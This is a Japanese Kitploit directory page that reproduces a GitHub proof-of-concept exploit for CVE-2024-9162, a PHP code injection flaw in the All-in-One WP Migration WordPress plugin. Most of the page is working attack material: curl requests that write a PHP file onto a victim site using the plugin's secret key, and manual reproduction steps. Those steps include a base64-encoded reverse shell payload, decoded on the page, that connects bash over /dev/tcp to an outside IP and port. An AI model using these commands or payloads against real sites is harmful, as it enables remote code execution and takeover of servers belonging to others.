Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-9162 — All-in-One WP Migration and Backup <= 7.86 - 認証された (Administrator+) 任意のPHPコードインジェクション | Kitploit
ツール/GitHubGitHub/d0n601/cve-2024-9162
ペイロード生成脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト
GitHubd0n601/cve-2024-9162

CVE-2024-9162

All-in-One WP Migration and Backup <= 7.86 - 認証された (Administrator+) 任意のPHPコードインジェクション

リポジトリを見る
7241年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-9162

All-in-One WP Migration and Backup <= 7.86 - 認証済み(管理者以上)任意のPHPコードインジェクション

WordPress向けAll-in-One WP Migrationプラグインは、バージョン7.86までの全バージョンにおいて、エクスポート時のファイルタイプ検証が欠如しているため、任意のPHPコードインジェクションに対して脆弱です。これにより、管理者レベルのアクセス権限を持つ認証された攻撃者が、影響を受けるサイトのサーバー上に .php 拡張子を持つエクスポートファイルを作成し、任意のPHPコードを追加することが可能となり、リモートコード実行が可能になる可能性があります。

TL;DR エクスプロイト

  • CVE-2024-9162.sh
  • CVE-2024-9162.py

詳細

ai1wm_secret_key は、プラグインの初期化時に作成される12文字の英数字文字列です。このキーは決してローテーションされず、有効期限がなく、wp_options テーブルに平文で保存されます。

mysql> SELECT option_name,option_value FROM wp_options WHERE option_name='ai1wm_secret_key';
+------------------+--------------+
| option_name      | option_value |
+------------------+--------------+
| ai1wm_secret_key | PwrqqK3UHQJo |
+------------------+--------------+
1 row in set (0.00 sec)

基本的な概念実証:

これにより、phpinfo(); の呼び出しを含む PHP ファイルが作成されます。この呼び出しは、手動再現セクションに示されているように、より優れたペイロードに置き換えることができます。シークレットキーパラメータ以外に認証は必要ないことに注意してください。

VICTIM_URL=https://wordpress.hacker
XFILE_NAME=lolz.php
XDIRECTORY_NAME=testauto
SECRET_KEY=PwrqqK3UHQJo

PRIORITY_INT=30
curl --path-as-is -i -s -k -X $'POST' \
    --data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
    $"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"

PRIORITY_INT=50
curl --path-as-is -i -s -k -X $'POST' \
    --data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
    $"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"

PRIORITY_INT=60
curl --path-as-is -i -s -k -X $'POST' \
    --data-binary $"\x0d\x0a\x0d\x0a\x0d\x0aaction=ai1wm_export&ai1wm_import=1&options%5Breplace%5D%5Bold_value%5D%5B%5D=&options%5Breplace%5D%5Bold_value%5D%5B%5D=*&options%5Breplace%5D%5Bnew_value%5D%5B%5D=&options%5Breplace%5D%5Bnew_value%5D%5B%5D=%3C%3Fphp+phpinfo()%3B+%3F%3E&options%5Bencrypt_password%5D=&options%5Bencrypt_password_confirmation%5D=&options%5Bno_spam_comments%5D=on&options%5Bno_post_revisions%5D=on&options%5Bno_media%5D=on&options%5Bno_themes%5D=on&options%5Bno_muplugins%5D=on&options%5Bno_plugins%5D=on&options%5Bno_database%5D=on&options%5Bno_email_replace%5D=on&ai1wm_manual_export=1&storage=$XDIRECTORY_NAME&file=1&secret_key=$SECRET_KEY&priority=$PRIORITY_INT&archive=$XFILE_NAME" \
    $"$VICTIM_URL/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1"

Screenshot from 2024-08-13 15-36-42

手動による再現手順:

注意点として、これらの手順で作成された php ファイルは、まず wp-content/plugins/all-in-one-wp-migration/storage/EXPLOITDIR/EXPLOITFILE.php に現れた後、スクリプトによって削除され、wp-content/ai1wm-backups/reverse_shell.php に移動されます。

  • ログインし、「All in One WP Migration」のエクスポートをクリックして「サイトのエクスポート」ページにアクセスします。

    • Screenshot from 2024-08-12 15-40-48
  • データベース内の「Find * Replace with」 で <another-text> を指定します。

    • * を 検索 ボックスに入力します。
    • 作成したPHPペイロードを 置換 ボックスに入力します(phpinfo();、Webシェルなど)。
      • リバースシェルの例: <?php eval( base64_decode('ZXhlYygiL2Jpbi9iYXNoIC1jICdiYXNoIC1pID4gL2Rldi90Y3AvMTkyLjE2OC4xMDAuODYvNDQ0NCAwPiYxJyAiKTs=')); ?>。これは exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.100.86/4444 0>&1' "); にデコードされます。
    • Screenshot from 2024-08-12 15-38-01
  • Burp または同様のツールをセットアップし、トラフィックをプロキシし始めたら、緑色の「Export To -> File」オプションをクリックします。

    • Screenshot from 2024-08-12 15-42-30
    • Screenshot from 2024-08-12 15-39-38
  • 最初のリクエストをそのまま転送します: POST /wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1 HTTP/1.1。

  • 転送: GET /wp-admin/admin-ajax.php?action=ai1wm_status&ai1wm_import=1&secret_key=OYXj1AIdQUnc&_=1723495770325 HTTP/2。

ツールをダウンロード